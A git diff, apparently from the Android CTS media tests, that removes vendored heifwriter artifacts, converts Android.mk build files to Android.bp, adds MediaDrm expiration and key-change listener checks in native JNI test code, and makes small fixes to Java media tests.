--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
deleted file mode 100644
index 7974fb7..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.md5
+++ /dev/null
@@ -1 +0,0 @@
-b22ebfa81aaf0635a1158161daab3d32
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
deleted file mode 100644
index c14e6bd..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-29f53ab2d0443a199f0c077d5a50225230547d45
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
deleted file mode 100644
index 77a2f0b..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
deleted file mode 100644
index 7cd202f..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.md5
+++ /dev/null
@@ -1 +0,0 @@
-0c3b5d9f55ed225b5fcb37fd9e35c482
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
deleted file mode 100644
index 8af5999..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar.sha1
+++ /dev/null
@@ -1 +0,0 @@
-dd7b6a8217731139371044de6ccda9d2e16b549a
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
deleted file mode 100644
index d40c50e..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0"
-    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
-  <modelVersion>4.0.0</modelVersion>
-  <groupId>androidx.heifwriter</groupId>
-  <artifactId>heifwriter</artifactId>
-  <version>1.1.0-alpha01</version>
-  <packaging>aar</packaging>
-  <name>Android Support HeifWriter</name>
-  <description>Android Support HeifWriter for writing HEIF still images</description>
-  <url>http://developer.android.com/tools/extras/support-library.html</url>
-  <inceptionYear>2018</inceptionYear>
-  <licenses>
-    <license>
-      <name>The Apache Software License, Version 2.0</name>
-      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
-      <distribution>repo</distribution>
-    </license>
-  </licenses>
-  <developers>
-    <developer>
-      <name>The Android Open Source Project</name>
-    </developer>
-  </developers>
-  <scm>
-    <connection>scm:git:https://android.googlesource.com/platform/frameworks/support</connection>
-    <url>http://source.android.com</url>
-  </scm>
-  <dependencies>
-    <dependency>
-      <groupId>androidx.annotation</groupId>
-      <artifactId>annotation</artifactId>
-      <version>1.1.0-rc01</version>
-      <scope>compile</scope>
-    </dependency>
-  </dependencies>
-</project>
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
deleted file mode 100644
index 92c07d9..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.md5
+++ /dev/null
@@ -1 +0,0 @@
-065f1c7a005103eba0e08aaba786983f
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1 b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
deleted file mode 100644
index aa073e3..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.pom.sha1
+++ /dev/null
@@ -1 +0,0 @@
-4438d89cd1f26bee8fa983d9fcd2731f55838571
\ No newline at end of file
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
new file mode 100644
index 0000000..6e1805c
--- /dev/null
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libaudio_jni",
+    srcs: [
+        "appendix-b-1-1-buffer-queue.cpp",
+        "appendix-b-1-2-recording.cpp",
+        "audio-record-native.cpp",
+        "audio-track-native.cpp",
+        "sl-utils.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libnativehelper_compat_libc++",
+        "libOpenSLES",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
diff --git a/tests/tests/media/libaudiojni/Android.mk b/tests/tests/media/libaudiojni/Android.mk
deleted file mode 100644
index af9d989..0000000
--- a/tests/tests/media/libaudiojni/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libaudio_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	appendix-b-1-1-buffer-queue.cpp \
-	appendix-b-1-2-recording.cpp \
-	audio-record-native.cpp \
-	audio-track-native.cpp \
-	sl-utils.cpp
-
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, libaudiojni) \
-	$(call include-path-for, wilhelm)
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libnativehelper_compat_libc++ libOpenSLES
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
new file mode 100644
index 0000000..9dd0988
--- /dev/null
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test_library {
+    name: "libctsimagereader_jni",
+    srcs: ["AImageReaderCts.cpp"],
+    shared_libs: [
+        "libandroid",
+        "libcamera2ndk",
+        "libmediandk",
+        "libnativewindow",
+        "liblog",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
diff --git a/tests/tests/media/libimagereaderjni/Android.mk b/tests/tests/media/libimagereaderjni/Android.mk
deleted file mode 100644
index 6ce591c..0000000
--- a/tests/tests/media/libimagereaderjni/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsimagereader_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    AImageReaderCts.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-    libandroid \
-    libcamera2ndk \
-    libmediandk \
-    libnativewindow \
-    liblog
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
new file mode 100644
index 0000000..109a488
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+//------------------------------------------------------------------------------
+// Builds libctscodecutils_jni.so
+//
+cc_test_library {
+    name: "libctscodecutils_jni",
+    srcs: [
+        "codec-utils-jni.cpp",
+        "md5_utils.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    sdk_version: "current",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediacodec_jni.so
+//
+cc_test_library {
+    name: "libctsmediacodec_jni",
+    srcs: [
+        "native-media-jni.cpp",
+        "native_media_utils.cpp",
+        "native_media_decoder_source.cpp",
+        "native_media_encoder_jni.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libEGL",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediadrm_jni.so
+//
+cc_test_library {
+    name: "libctsmediadrm_jni",
+    srcs: [
+        "CtsMediaDrmJniOnLoad.cpp",
+        "codec-utils-jni.cpp",
+        "md5_utils.cpp",
+        "native-mediadrm-jni.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libdl",
+        "libEGL",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    stl: "libc++_static",
+    gtest: false,
+}
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
deleted file mode 100644
index e0af7dc..0000000
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ /dev/null
@@ -1,111 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-#------------------------------------------------------------------------------
-# Builds libctscodecutils_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctscodecutils_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  codec-utils-jni.cpp \
-  md5_utils.cpp
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libnativehelper_compat_libc++ \
-  liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
-
-include $(BUILD_SHARED_LIBRARY)
-
-#------------------------------------------------------------------------------
-# Builds libctsmediacodec_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediacodec_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  native-media-jni.cpp \
-  native_media_utils.cpp \
-  native_media_decoder_source.cpp \
-  native_media_encoder_jni.cpp
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libEGL
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
-
-include $(BUILD_SHARED_LIBRARY)
-
-
-#------------------------------------------------------------------------------
-# Builds libctsmediadrm_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediadrm_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  CtsMediaDrmJniOnLoad.cpp \
-  codec-utils-jni.cpp  \
-  md5_utils.cpp \
-  native-mediadrm-jni.cpp \
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libdl libEGL
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_CXX_STL := libc++
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index af28a80..0e3b3a5 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -792,10 +792,10 @@
         return false;
     }
 
-    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789ll);
+    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
     int64_t duration = 0;
     if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
-            || duration != 123456789123456789ll) {
+            || duration != 123456789123456789LL) {
         ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
         return false;
     }
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index ea95574..2c82745 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -56,6 +56,8 @@
 
 static fields_t gFieldIds;
 static bool gGotVendorDefinedEvent = false;
+static bool gListenerGotValidExpiryTime = false;
+static bool gOnKeyChangeListenerOK = false;
 
 static const size_t kPlayTimeSeconds = 30;
 static const size_t kUuidSize = 16;
@@ -490,12 +492,57 @@
             gGotVendorDefinedEvent = true;
             ALOGD("EVENT_VENDOR_DEFINED received");
             break;
+        case EVENT_SESSION_RECLAIMED:
+            ALOGD("EVENT_SESSION_RECLAIMED received");
+            break;
         default:
             ALOGD("Unknown event received");
             break;
     }
 }
 
+static void onExpirationUpdateListener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    int64_t expiryTimeInMS) {
+
+    if (expiryTimeInMS == 100) {
+        ALOGD("Updates new expiration time to %" PRId64 " ms", expiryTimeInMS);
+        gListenerGotValidExpiryTime = true;
+    } else {
+        ALOGE("Expects 100 ms for expiry time, received: %" PRId64 " ms", expiryTimeInMS);
+        gListenerGotValidExpiryTime = false;
+    }
+}
+
+static void onKeysChangeListener(
+    AMediaDrm* /*drm*/, const AMediaDrmSessionId* /*sessionId*/,
+    const AMediaDrmKeyStatus* keysStatus, size_t numKeys, bool hasNewUsableKey) {
+
+    gOnKeyChangeListenerOK = false;
+    if (numKeys != 2) {
+        ALOGE("Expects 2 keys, received %zd keys", numKeys);
+        return;
+    }
+
+    if (!hasNewUsableKey) {
+        ALOGE("Expects hasNewUsableKey to be true");
+        return;
+    }
+
+    ALOGD("Number of keys changed=%zd", numKeys);
+    AMediaDrmKeyStatus keyStatus;
+    for (size_t i = 0; i < numKeys; ++i) {
+        keyStatus.keyId.ptr = keysStatus[i].keyId.ptr;
+        keyStatus.keyId.length = keysStatus[i].keyId.length;
+        keyStatus.keyType = keysStatus[i].keyType;
+
+        ALOGD("key[%zd]: key: %0x, %0x, %0x", i, keyStatus.keyId.ptr[0], keyStatus.keyId.ptr[1],
+                keyStatus.keyId.ptr[2]);
+        ALOGD("key[%zd]: key type=%d", i, keyStatus.keyType);
+    }
+    gOnKeyChangeListenerOK = true;
+}
+
 static void acquireLicense(
     JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
     AMediaDrmKeyType keyType) {
@@ -530,6 +577,8 @@
 
     AMediaDrmKeySetId keySetId;
     gGotVendorDefinedEvent = false;
+    gListenerGotValidExpiryTime = false;
+    gOnKeyChangeListenerOK = false;
     status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
             reinterpret_cast<const uint8_t*>(kResponse),
             sizeof(kResponse), &keySetId);
@@ -577,6 +626,22 @@
         return JNI_FALSE;
     }
 
+    status = AMediaDrm_setOnExpirationUpdateListener(aMediaObjects.getDrm(),
+            onExpirationUpdateListener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnExpirationUpdateListener failed");
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_setOnKeysChangeListener(aMediaObjects.getDrm(),
+            onKeysChangeListener);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "setOnKeysChangeListener failed");
+        return JNI_FALSE;
+    }
+
     aMediaObjects.setAudioExtractor(AMediaExtractor_new());
     const char* url = env->GetStringUTFChars(params.audioUrl, 0);
     if (url) {
@@ -615,7 +680,7 @@
 
     acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
 
-    // Check if the event listener has received the expected event sent by
+    // Checks if the event listener has received the expected event sent by
     // provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
     const char *utf8_outValue = NULL;
     status = AMediaDrm_getPropertyString(aMediaObjects.getDrm(),
@@ -624,10 +689,13 @@
         std::string eventType(utf8_outValue);
         if (eventType.compare("true") == 0) {
             int count = 0;
-            while (!gGotVendorDefinedEvent && count++ < 5) {
+            while ((!gGotVendorDefinedEvent ||
+                    !gListenerGotValidExpiryTime ||
+                    !gOnKeyChangeListenerOK) && count++ < 5) {
                // Prevents race condition when the event arrives late
                usleep(2000);
             }
+
             if (!gGotVendorDefinedEvent) {
                 ALOGE("Event listener did not receive the expected event.");
                 jniThrowExceptionFmt(env, "java/lang/RuntimeException",
@@ -635,6 +703,22 @@
                 AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
                 return JNI_FALSE;
            }
+
+          // Checks if onExpirationUpdateListener received the correct expiry time.
+           if (!gListenerGotValidExpiryTime) {
+               jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                       "onExpirationUpdateListener received incorrect expiry time.");
+               AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+               return JNI_FALSE;
+           }
+
+          // Checks if onKeysChangeListener succeeded.
+          if (!gOnKeyChangeListenerOK) {
+              jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                      "onKeysChangeListener failed");
+              AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+              return JNI_FALSE;
+          }
         }
     }
 
@@ -726,7 +810,7 @@
         ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
     }
 
-    if (numPairs !=  3) {
+    if (numPairs != 3) {
         jniThrowExceptionFmt(env, "java/lang/RuntimeException",
                 "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
         AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
new file mode 100644
index 0000000..2746f0d
--- /dev/null
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libndkaudioLib",
+    include_dirs: [
+        "frameworks/wilhelm/include",
+        "frameworks/wilhelm/src/android",
+    ],
+    srcs: [
+        "OpenSLESUtils.cpp",
+        "AudioPlayer.cpp",
+        "AudioSource.cpp",
+        "PeriodicAudioSource.cpp",
+        "SystemParams.cpp",
+        "WaveTableGenerator.cpp",
+        "WaveTableOscillator.cpp",
+        "com_android_ndkaudio_AudioPlayer.cpp",
+        "AudioRecorder.cpp",
+        "com_android_ndkaudio_AudioRecorder.cpp",
+    ],
+    stl: "libc++_static",
+    shared_libs: [
+        "liblog",
+        "libOpenSLES",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
+
+//
+// ndkaudio - java
+//
+java_library {
+    name: "ndkaudio",
+    srcs: ["**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "23",
+}
diff --git a/tests/tests/media/libndkaudio/Android.mk b/tests/tests/media/libndkaudio/Android.mk
deleted file mode 100644
index 982c630..0000000
--- a/tests/tests/media/libndkaudio/Android.mk
+++ /dev/null
@@ -1,61 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libndkaudioLib
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_C_INCLUDES := \
-  frameworks/wilhelm/include \
-  frameworks/wilhelm/src/android \
-  $(call include-path-for, wilhelm)
-
-LOCAL_SRC_FILES := \
-  OpenSLESUtils.cpp \
-  AudioPlayer.cpp \
-  AudioSource.cpp \
-  PeriodicAudioSource.cpp \
-  SystemParams.cpp \
-  WaveTableGenerator.cpp \
-  WaveTableOscillator.cpp \
-  com_android_ndkaudio_AudioPlayer.cpp \
-  AudioRecorder.cpp \
-  com_android_ndkaudio_AudioRecorder.cpp
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_SHARED_LIBRARIES := liblog libOpenSLES
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# ndkaudio - java
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE  := ndkaudio
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_CERTIFICATE := platform
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/media/res/raw/testwav_16bit_44100hz.wav b/tests/tests/media/res/raw/testwav_16bit_44100hz.wav
new file mode 100644
index 0000000..f57ee85
--- /dev/null
+++ b/tests/tests/media/res/raw/testwav_16bit_44100hz.wav
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 67111e9..4c46420 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -174,12 +174,6 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testMicrophoneMuteIntent() throws Exception {
-        // Skip this test for automotive.
-        // This tests listens for ACTION_MICROPHONE_MUTE_CHANGED which AudioService only broadcasts
-        // to system user. Automotive devices, which runs in secondary user, will fail this test.
-        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            return;
-        }
         final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver();
         final boolean initialMicMute = mAudioManager.isMicrophoneMute();
         try {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index eb7296f..02d2841 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -204,6 +204,8 @@
             mAudioRecord.startRecording();
             Thread.sleep(TEST_TIMING_TOLERANCE_MS);
             assertFalse("Unregistered callback was called", callback.mCalled);
+            mAudioRecord.stop();
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
 
             // just call the callback once directly so it's marked as tested
             final AudioManager.AudioRecordingCallback arc =
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 6192c0f..022b853 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -702,10 +702,10 @@
 
     public void testVp9HdrStaticMetadata() throws Exception {
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 64 00 e8 03 2c  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 64 00 e8 03 2c  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_vp9_hdr_static_3mbps,
-                staticInfo, true /*metadataInContainer*/, "testVp9HdrStaticMetadata");
+                staticInfo, true /*metadataInContainer*/);
     }
 
     public void testH265HDR10StaticMetadata() throws Exception {
@@ -716,14 +716,13 @@
         // Media frameworks puts the display primaries in RGB order, here we verify the three
         // primaries are indeed in this order and fail otherwise.
         final String staticInfo =
-                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42 " +
-                "40 e8 03 00 00 e8 03 90  01                      " ;
+                "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+                "40 e8 03 00 00 e8 03 90  01                     " ;
         testHdrStaticMetadata(R.raw.video_1280x720_hevc_hdr10_static_3mbps,
-                staticInfo, false /*metadataInContainer*/, "testH265HDR10StaticMetadata");
+                staticInfo, false /*metadataInContainer*/);
     }
 
-    private void testHdrStaticMetadata(
-            int res, String pattern, boolean metadataInContainer, String testName)
+    private void testHdrStaticMetadata(int res, String pattern, boolean metadataInContainer)
             throws Exception {
         AssetFileDescriptor infd = null;
         MediaExtractor extractor = null;
@@ -747,8 +746,7 @@
